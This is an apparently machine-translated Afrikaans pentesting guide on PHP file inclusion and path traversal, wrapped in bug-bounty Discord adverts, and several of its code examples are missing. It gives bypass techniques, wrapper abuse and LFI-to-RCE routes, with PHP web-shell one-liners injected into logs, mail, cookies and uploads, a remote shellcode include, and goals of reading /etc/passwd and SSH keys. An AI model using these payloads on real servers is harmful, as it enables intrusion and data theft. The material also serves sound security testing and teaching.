File Inclusion/Path traversal
Sluit aan by HackenProof Discord bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!
Hakinsigte Betrokkenheid by inhoud wat die opwinding en uitdagings van hak bevat
Reële-Tyd Hak Nuus Bly op hoogte van die snelveranderende hakwêreld deur middel van nuus en insigte in werklikheid
Nuutste Aankondigings Bly ingelig met die nuutste foutbelonings wat bekendgestel word en noodsaaklike platformopdaterings
Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!
Lêer Insluiting
Verre Lêer Insluiting (RFI): Die lêer word gelaai vanaf 'n verre bediener (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit gestrem per verstek (allow_url_include). Plaaslike Lêer Insluiting (LFI): Die bediener laai 'n plaaslike lêer.
Die kwesbaarheid kom voor wanneer die gebruiker op een of ander manier die lêer kan beheer wat deur die bediener gelaai gaan word.
Kwesbare PHP funksies: require, require_once, include, include_once
'n Interessante instrument om hierdie kwesbaarheid uit te buit: https://github.com/kurobeats/fimap
Blind - Interessant - LFI2RCE lêers
Linux
Deur verskeie *nix LFI-lys te meng en meer paaie by te voeg, het ek hierdie een geskep:
Probeer ook om /
te verander na \
Probeer ook om ../../../../../
by te voeg
'n Lys wat verskeie tegnieke gebruik om die lêer /etc/password te vind (om te kyk of die kwesbaarheid bestaan) kan hier gevind word.
Windows
Saamvoeging van verskillende woordlyste:
Probeer ook om /
te verander na \
Probeer ook om C:/
te verwyder en ../../../../../
by te voeg
'n Lys wat verskeie tegnieke gebruik om die lêer /boot.ini te vind (om te kyk of die kwesbaarheid bestaan) kan hier gevind word.
OS X
Kyk na die LFI-lys van Linux.
Basiese LFI en omseilings
Al die voorbeelde is vir Plaaslike Lêer Insluiting, maar kan ook op Afgeleë Lêer Insluiting toegepas word (bladsy=http://myserver.com/phpshellcode.txt\.
deursnuffelingsvolgordes ontkleed nie-herhalend
Nulbyte (%00)
Bypass die aanhegting van meer karakters aan die einde van die voorsiene string (bypass van: $_GET['param']."php")
Dit is opgelos sedert PHP 5.4
Kodering
Jy kan nie-standaard koderings soos dubbele URL-kodering (en ander) gebruik:
Van bestaande vouer
Miskien kontroleer die agterkant die vouerpad:
Verkenning van Lêersisteemgide op 'n Bediener
Die lêersisteem van 'n bediener kan rekursief verken word om gide te identifiseer, nie net lêers, deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die gidediepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:
Bepaal Gidediepte: Stel die diepte van jou huidige gids vas deur suksesvol die
/etc/passwd
-lêer op te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan as volg gestruktureer wees, wat 'n diepte van drie aandui:
Ondersoek vir Lêers: Voeg die naam van die vermoede lêer by die URL (bv.,
private
), en navigeer dan terug na/etc/passwd
. Die ekstra gidsvlak vereis 'n verhoging van die diepte met een:
Interpreteer die Resultate: Die server se reaksie dui aan of die folder bestaan:
Fout / Geen Uitset: Die folder
private
bestaan waarskynlik nie op die gespesifiseerde plek nie.Inhoud van
/etc/passwd
: Die teenwoordigheid van dieprivate
folder is bevestig.
Rekursiewe Verkenning: Ontdekte folders kan verder ondersoek word vir subdossiers of lêers deur dieselfde tegniek of tradisionele Plaaslike Lêer Insluiting (LFI) metodes te gebruik.
Vir die verkenning van gids by verskillende plekke in die lêersisteem, pas die lading dienooreenkomstig aan. Byvoorbeeld, om te kyk of /var/www/
'n private
gids bevat (onder die aanname dat die huidige gids op 'n diepte van 3 is), gebruik:
Padafkappingsmetode
Padafkapping is 'n metode wat gebruik word om lêerpaadjies in webtoepassings te manipuleer. Dit word dikwels gebruik om toegang tot beperkte lêers te verkry deur sekere sekuriteitsmaatreëls te omseil wat ekstra karakters aan die einde van lêerpaadjies voeg. Die doel is om 'n lêerpaadjie te skep wat, nadat dit deur die sekuriteitsmaatreël verander is, steeds na die gewenste lêer verwys.
In PHP kan verskeie voorstellings van 'n lêerpaadjie as ekwivalent beskou word as gevolg van die aard van die lêersisteem. Byvoorbeeld:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, en/etc/passwd/
word almal as dieselfde paadjie hanteer.Wanneer die laaste 6 karakters
passwd
is, verander die toevoeging van 'n/
(wat ditpasswd/
maak) nie die geteikende lêer nie.Op soortgelyke wyse, as
.php
by 'n lêerpaadjie gevoeg word (soosshellcode.php
), sal die byvoeging van/.
aan die einde nie die toeganklike lêer verander nie.
Die voorsiene voorbeelde demonstreer hoe om padafkapping te benut om toegang tot /etc/passwd
te verkry, 'n algemene teiken as gevolg van sy sensitiewe inhoud (gebruikersrekeninginligting):
In hierdie scenario's kan die aantal traversals wat benodig word, ongeveer 2027 wees, maar hierdie aantal kan wissel gebaseer op die bediener se konfigurasie.
Gebruik van Puntsegmente en Addisionele Karakters: Traversal-reeks (
../
) gekombineer met ekstra puntsegmente en karakters kan gebruik word om die lêersisteem te navigeer, waardeur toegevoegde strings deur die bediener geïgnoreer word.Bepaling van die Benodigde Aantal Traversals: Deur proefondervindelik te werk, kan die presiese aantal
../
reekse wat nodig is om na die hoofgids te navigeer en dan na/etc/passwd
te gaan, gevind word. Dit verseker dat enige toegevoegde strings (soos.php
) geneutraliseer word, maar die gewenste pad (/etc/passwd
) bly intak.Begin met 'n Vals Gids: Dit is 'n algemene praktyk om die pad te begin met 'n nie-bestaande gids (soos
a/
). Hierdie tegniek word gebruik as 'n voorbehoedende maatreël of om aan die vereistes van die bediener se padontledingslogika te voldoen.
Wanneer padafkappings tegnieke gebruik word, is dit noodsaaklik om die bediener se padontledingsgedrag en lêersisteemstruktuur te verstaan. Elke scenario mag 'n ander benadering vereis, en toetsing is dikwels nodig om die mees doeltreffende metode te vind.
Hierdie kwesbaarheid is reggestel in PHP 5.3.
Filter omseilingswenke
Remote Lêer Insluiting
In php is dit standaard afgeskakel omdat allow_url_include
Af is. Dit moet Aan wees om te werk, en in daardie geval kan jy 'n PHP-lêer vanaf jou bediener insluit en RCE kry:
Indien om een of ander rede allow_url_include
Aan is, maar PHP toegang tot eksterne webbladsye filter, volgens hierdie pos, kan jy byvoorbeeld die data-protokol met base64 gebruik om 'n b64 PHP-kode te dekodeer en RCE te kry:
In die vorige kode is die finale +.txt
bygevoeg omdat die aanvaller 'n string benodig het wat eindig op .txt
, sodat die string daarmee eindig en na die b64-dekodeer daardie deel net rommel sal teruggee en die werklike PHP-kode ingesluit (en dus uitgevoer) sal word.
'n Ander voorbeeld sonder die gebruik van die php://
protokol sou wees:
Python Rootheleme
In Python in 'n kode soos hierdie een:
Indien die gebruiker 'n absoluut pad na file_name
deurgee, word die vorige pad net verwyder:
Dit is die bedoelde gedrag volgens die dokumente:
As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en die aansluiting gaan voort vanaf die absolute pad komponent.
Java Lys Gidse
Dit lyk asof as jy 'n Pad Traversal in Java het en jy vir 'n gids vra in plaas van 'n lêer, word 'n lys van die gids teruggegee. Dit sal nie in ander tale gebeur nie (sover ek weet).
Top 25 parameters
Hier is 'n lys van die top 25 parameters wat vatbaar kan wees vir plaaslike lêer insluiting (LFI) kwesbaarhede (vanaf skakel):
LFI / RFI gebruik van PHP wrappers & protokolle
php://filter
PHP-filters maak basiese wysigingsoperasies op die data moontlik voordat dit gelees of geskryf word. Daar is 5 kategorieë van filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Verwyder tags van die data (alles tussen "<" en ">" karakters)Let daarop dat hierdie filter uit die moderne weergawes van PHP verdwyn het
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Verander na 'n ander enkodering (convert.iconv.<input_enc>.<output_enc>
). Om die lys van al die ondersteunde enkoderings te kry, hardloop in die konsole:iconv -l
Deur die convert.iconv.*
omskakelingsfilter te misbruik, kan jy willekeurige teks genereer, wat nuttig kan wees om willekeurige teks te skryf of 'n funksie soos insluitingsproses willekeurige teks te maak. Vir meer inligting kyk na LFI2RCE via php filters.
zlib.deflate
: Komprimeer die inhoud (nuttig as jy baie inligting uitlek)zlib.inflate
: Dekomprimeer die datamcrypt.*
: Verouderdmdecrypt.*
: VerouderdAnder Filters
Deur in php te hardloop
var_dump(stream_get_filters());
kan jy 'n paar onverwagte filters vind:consumed
dechunk
: keer HTTP stuksgewyse enkodering omconvert.*
Die deel "php://filter" is nie hooflettergevoelig nie
Gebruik van php-filters as orakel om willekeurige lêers te lees
In hierdie pos word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder om die uitset van die bediener terug te kry. Hierdie tegniek is gebaseer op 'n boolean uitlekking van die lêer (karakter vir karakter) deur php-filters as orakel te gebruik. Dit is omdat php-filters gebruik kan word om 'n teks groot genoeg te maak om 'n uitsondering in php te veroorsaak.
In die oorspronklike pos kan jy 'n gedetailleerde verduideliking van die tegniek vind, maar hier is 'n vinnige opsomming:
Gebruik die kodeerder
UCS-4LE
om die leidende karakter van die teks aan die begin te laat en die grootte van die string eksponensieel te verhoog.Dit sal gebruik word om 'n teks so groot te genereer wanneer die aanvanklike letter korrek gegok word dat php 'n fout sal veroorsaak
Die dechunk-filter sal alles verwyder as die eerste karakter nie 'n heksadesimale karakter is nie, sodat ons kan weet of die eerste karakter heksadesimaal is.
Dit, gekombineer met die vorige (en ander filters afhangende van die gegokte letter), sal ons in staat stel om 'n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie 'n heksadesimale karakter te maak nie. Want as dit heksadesimaal is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal php-fout veroorsaak.
Die kodeerder convert.iconv.UNICODE.CP930 verander elke letter in die volgende een (dus na hierdie kodeerder: a -> b). Dit stel ons in staat om te ontdek of die eerste letter 'n
a
is byvoorbeeld omdat as ons 6 van hierdie kodeerders toepas a->b->c->d->e->f->g is die letter nie meer 'n heksadesimale karakter nie, daarom verwyder dechunk dit nie en word die php-fout veroorsaak omdat dit met die aanvanklike bom vermenigvuldig.Deur ander transformasies soos rot13 aan die begin te gebruik, is dit moontlik om ander karakters soos n, o, p, q, r te lek (en ander kodeerders kan gebruik word om ander letters na die heks-bereik te skuif).
Wanneer die aanvanklike karakter 'n nommer is, moet dit in base64-kodeer en die eerste 2 letters lek om die nommer te lek.
Die finale probleem is om te sien hoe om meer as die aanvanklike letter te lek. Deur ordegeheue-filters soos convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE te gebruik, is dit moontlik om die orde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
En om in staat te wees om verdere data te verkry, is die idee om 2 byte rommeldata aan die begin te genereer met convert.iconv.UTF16.UTF16, pas UCS-4LE toe om dit met die volgende 2 byte te pivot, en verwyder die data tot by die rommeldata (dit sal die eerste 2 byte van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste bit bereik om te lek.
In die pos is 'n instrument om dit outomaties uit te voer ook gelek: php_filters_chain_oracle_exploit.
php://fd
Hierdie omhulsel maak dit moontlik om toegang tot lêerbeskrywers te verkry wat die proses oop het. Potensieel nuttig om die inhoud van oop lêers te lek:
Jy kan ook php://stdin, php://stdout en php://stderr gebruik om die lêer beskrywers 0, 1 en 2 onderskeidelik te benader (nie seker hoe dit nuttig kan wees in 'n aanval nie)
zip:// en rar://
Laai 'n Zip- of Rar-lêer met 'n PHPShell binne en benader dit. Om die rar-protokol te misbruik, moet dit spesifiek geaktiveer word.
data://
Hierdie protokol stel jou in staat om data direk in die URL in te sluit. Dit kan gebruik word om data direk vanaf die URL te laai sonder om 'n eksterne bron aan te roep. Dit kan 'n potensiële veiligheidsrisiko wees as dit nie behoorlik hanteer word nie.
Merk op dat hierdie protokol beperk word deur php-konfigurasies allow_url_open
en allow_url_include
expect://
Verwagting moet geaktiveer word. Jy kan kode uitvoer met behulp hiervan:
inset://
Spesifiseer jou lading in die POST parameters:
phar://
'n .phar
-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos include
gebruik vir lêerlaai. Die PHP-kodefragment hieronder toon die skep van 'n .phar
-lêer:
Om die .phar
lêer saam te stel, moet die volgende bevel uitgevoer word:
Bij uitvoering sal 'n lêer genaamd test.phar
geskep word, wat moontlik benut kan word om plaaslike lêer insluitings (LFI) kwesbaarhede te misbruik.
In gevalle waar die LFI slegs lêerlesing uitvoer sonder om die PHP-kode binne-in uit te voer, deur funksies soos file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, of filesize()
, kan 'n poging aangewend word om 'n deserialisasie kwesbaarheid te misbruik. Hierdie kwesbaarheid word geassosieer met die lees van lêers deur die gebruik van die phar
protokol.
Vir 'n gedetailleerde begrip van die misbruik van deserialisasie kwesbaarhede in die konteks van .phar
lêers, verwys na die dokument wat hieronder gekoppel is:
Phar Deserialisasie Misbruiksgids
Meer protokolle
Kyk na meer moontlike protokolle om hier in te sluit:
php://memory en php://temp — Skryf in geheue of in 'n tydelike lêer (nie seker hoe dit nuttig kan wees in 'n lêer insluitingsaanval nie)
file:// — Toegang tot plaaslike lêerstelsel
http:// — Toegang tot HTTP(s) URL's
ftp:// — Toegang tot FTP(s) URL's
zlib:// — Kompresie Strome
glob:// — Vind padname wat ooreenstem met patroon (Dit gee niks drukbare terug nie, dus nie regtig nuttig hier nie)
ssh2:// — Veilige Skel 2
ogg:// — Klankstrome (Nie nuttig om willekeurige lêers te lees nie)
LFI via PHP se 'assert'
Plaaslike Lêer Insluiting (LFI) risiko's in PHP is opvallend hoog wanneer daar gewerk word met die 'assert' funksie, wat kode binne-in strings kan uitvoer. Dit is veral problematies as insette wat wegspringkarakters soos ".." bevat, nagegaan word maar nie behoorlik gesaniteer word nie.
Byvoorbeeld, PHP-kode kan ontwerp wees om wegspring soos volg te voorkom:
Terwyl dit daarop gemik is om traversering te stop, skep dit onbedoeld 'n vektor vir kode-inspuiting. Om dit te benut vir die lees van lêerinhoude, kan 'n aanvaller die volgende gebruik:
Op dieselfde manier, vir die uitvoer van willekeurige stelselopdragte, kan mens die volgende gebruik:
Dit is belangrik om hierdie aanvalle te URL-kodeer.
Sluit aan by HackenProof Discord bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
Hack-insigte Raak betrokke by inhoud wat die opwinding en uitdagings van hack bevat
Nuutste Hack-nuus Bly op hoogte van die snelveranderende hack-wêreld deur middel van nuus en insigte in werklikheid
Nuutste Aankondigings Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!
PHP Blinde Padtraversering
Hierdie tegniek is relevant in gevalle waar jy die lêerpad van 'n PHP-funksie beheer wat 'n lêer sal toegang maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na file()
) maar die inhoud word nie vertoon nie.
In hierdie ongelooflike pos word verduidelik hoe 'n blinde padtraversering misbruik kan word via PHP-filter om die inhoud van 'n lêer te eksfiltrasieer deur 'n fout-orakel.
Kortliks, die tegniek gebruik die "UCS-4LE" kodering om die inhoud van 'n lêer so groot te maak dat die PHP-funksie wat die lêer oopmaak 'n fout sal veroorsaak.
Daarna, om die eerste karakter te lek, word die filter dechunk
gebruik saam met ander soos base64 of rot13 en uiteindelik word die filters convert.iconv.UCS-4.UCS-4LE en convert.iconv.UTF16.UTF-16BE gebruik om ander karakters aan die begin te plaas en hulle te lek.
Funksies wat vatbaar kan wees: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (slegs teiken lees slegs hiermee)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Vir die tegniese besonderhede, kyk na die genoemde pos!
LFI2RCE
Verre Lêerinsluiting
Voorheen verduidelik, volg hierdie skakel.
Via Apache/Nginx log lêer
As die Apache- of Nginx-bediener vatbaar is vir LFI binne die insluitfunksie, kan jy probeer om toegang te verkry tot /var/log/apache2/access.log
of /var/log/nginx/access.log
, stel binne die gebruiker-agent of binne 'n GET-parameter 'n php shell soos <?php system($_GET['c']); ?>
en sluit daardie lêer in
Let daarop dat as jy dubbele aanhalingstekens vir die shell gebruik in plaas van enkele aanhalingstekens, die dubbele aanhalingstekens verander sal word vir die string "quote;", PHP sal 'n fout gooi daar en niks anders sal uitgevoer word.
Maak ook seker jy skryf die aanvalskode korrek of PHP sal elke keer 'n fout gooi wanneer dit probeer om die log lêer te laai en jy sal nie 'n tweede geleentheid hê nie.
Dit kan ook in ander logboeke gedoen word, maar wees versigtig, die kode binne die logboeke kan URL-gekodeer wees en dit kan die Shell vernietig. Die kop authorisation "basic" bevat "gebruiker:wagwoord" in Base64 en dit word binne die logboeke ontsluit. Die PHPShell kan binne hierdie kop ingevoeg word. Ander moontlike logboekpaaie:
Via E-pos
Stuur 'n e-pos na 'n interne rekening (user@localhost) wat jou PHP lading bevat soos <?php echo system($_REQUEST["cmd"]); ?>
en probeer om dit in te sluit in die e-pos van die gebruiker met 'n pad soos /var/mail/<USERNAME>
of /var/spool/mail/<USERNAME>
Via /proc/*/fd/*
Laai baie doppe op (byvoorbeeld: 100)
Sluit http://example.com/index.php?page=/proc/$PID/fd/$FD in, met $PID = PID van die proses (kan afgedwing word) en $FD die lêerbeskrywer (kan ook afgedwing word)
Via /proc/self/environ
Soos 'n log lêer, stuur die lading in die Gebruiker-Agent, dit sal weerspieël word binne die /proc/self/environ lêer
Deur oplaai
As jy 'n lêer kan oplaai, insluit die dop payload daarin (bv. : <?php system($_GET['c']); ?>
).
Deur middel van Zip-lêer oplaai
Laai 'n ZIP-lêer op wat 'n PHP dop bevat wat saamgedruk is en toegang:
Via PHP-sessies
Kyk of die webwerf PHP-sessies gebruik (PHPSESSID)
In PHP word hierdie sessies gestoor in /var/lib/php5/sess\[PHPSESSID]_ lêers
Stel die koekie in op <?php system('cat /etc/passwd');?>
Gebruik die LFI om die PHP-sessie lêer in te sluit
Via ssh
Indien ssh aktief is, kontroleer watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer om toegang te verkry tot <HOME>/.ssh/id_rsa
Via vsftpd logs
Die logboeke vir die FTP-bediener vsftpd is geleë by /var/log/vsftpd.log. In die scenario waar 'n Plaaslike Lêer Insluiting (LFI) kwesbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:
Spuit 'n PHP-lading in die gebruikersnaamveld tydens die aanmeldingsproses.
Na inspuiting, gebruik die LFI om die bedienerslogboeke van /var/log/vsftpd.log te herwin.
Via php base64 filter (gebruik base64)
Soos aangedui in hierdie artikel, ignoreer PHP base64 filter net Nie-base64. Jy kan dit gebruik om die lêeruitbreidingskontrole te omseil: as jy base64 voorsien wat eindig met ".php", sal dit net die "." ignoreer en "php" byvoeg by die base64. Hier is 'n voorbeeldlading:
Via php filters (no file needed)
Hierdie writeup verduidelik dat jy php filters kan gebruik om arbitrêre inhoud te genereer as uitset. Dit beteken basies dat jy arbitrêre php-kode kan genereer vir die insluiting sonder om dit in 'n lêer te skryf.
Via segmentation fault
Laai 'n lêer wat as tydelik in /tmp
gestoor sal word, trigger dan 'n segmenteringsfout in dieselfde versoek, en dan sal die tydelike lêer nie verwyder word nie en jy kan daarnaar soek.
Via Nginx temp file storage
As jy 'n Local File Inclusion gevind het en Nginx voor PHP hardloop, kan jy dalk RCE verkry met die volgende tegniek:
Via PHP_SESSION_UPLOAD_PROGRESS
As jy 'n Local File Inclusion gevind het selfs al het jy nie 'n sessie nie en session.auto_start
is Off
. As jy die PHP_SESSION_UPLOAD_PROGRESS
in multipart POST data voorsien, sal PHP die sessie vir jou aktiveer. Jy kan dit misbruik om RCE te kry:
Via temp file uploads in Windows
As jy 'n Local File Inclusion gevind het en die bediener in Windows hardloop, kan jy dalk RCE kry:
Via phpinfo() (file_uploads = on)
As jy 'n Local File Inclusion gevind het en 'n lêer wat phpinfo() blootstel met file_uploads = on, kan jy RCE kry:
Via compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
PHP_STREAM_PREFER_STUDIO
+ Path DisclosureAs jy 'n Local File Inclusion gevind het en jy die pad van die tydelike lêer kan uitlek MAAR die bediener toets of die **lêer wat ingesluit moet word PHP-merke het, kan jy probeer om daardie toets te vermy met hierdie Race Condition:
Via eternal waiting + bruteforce
As jy die LFI kan misbruik om tydelike lêers te laai en die bediener die PHP-uitvoering hang, kan jy dan filenames ure lank brute force om die tydelike lêer te vind:
To Fatal Error
As jy enige van die lêers insluit /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Jy moet dieselfde een 2 keer insluit om daardie fout te veroorsaak).
Ek weet nie hoe dit nuttig is nie, maar dit kan wees. Selfs as jy 'n PHP Fatale Fout veroorsaak, word tydelike lêers wat geüpload is deur PHP, verwyder.
Verwysings
Sluit aan by HackenProof Discord bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
Hacking Insights Betrokkenheid by inhoud wat die opwinding en uitdagings van hack bevat
Real-Time Hack News Bly op hoogte van die vinnige hackwêreld deur middel van nuus en insigte in werklikheid
Nuutste Aankondigings Bly ingelig met die nuutste foutbelonings wat bekendgestel word en noodsaaklike platformopdaterings
Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!
Last updated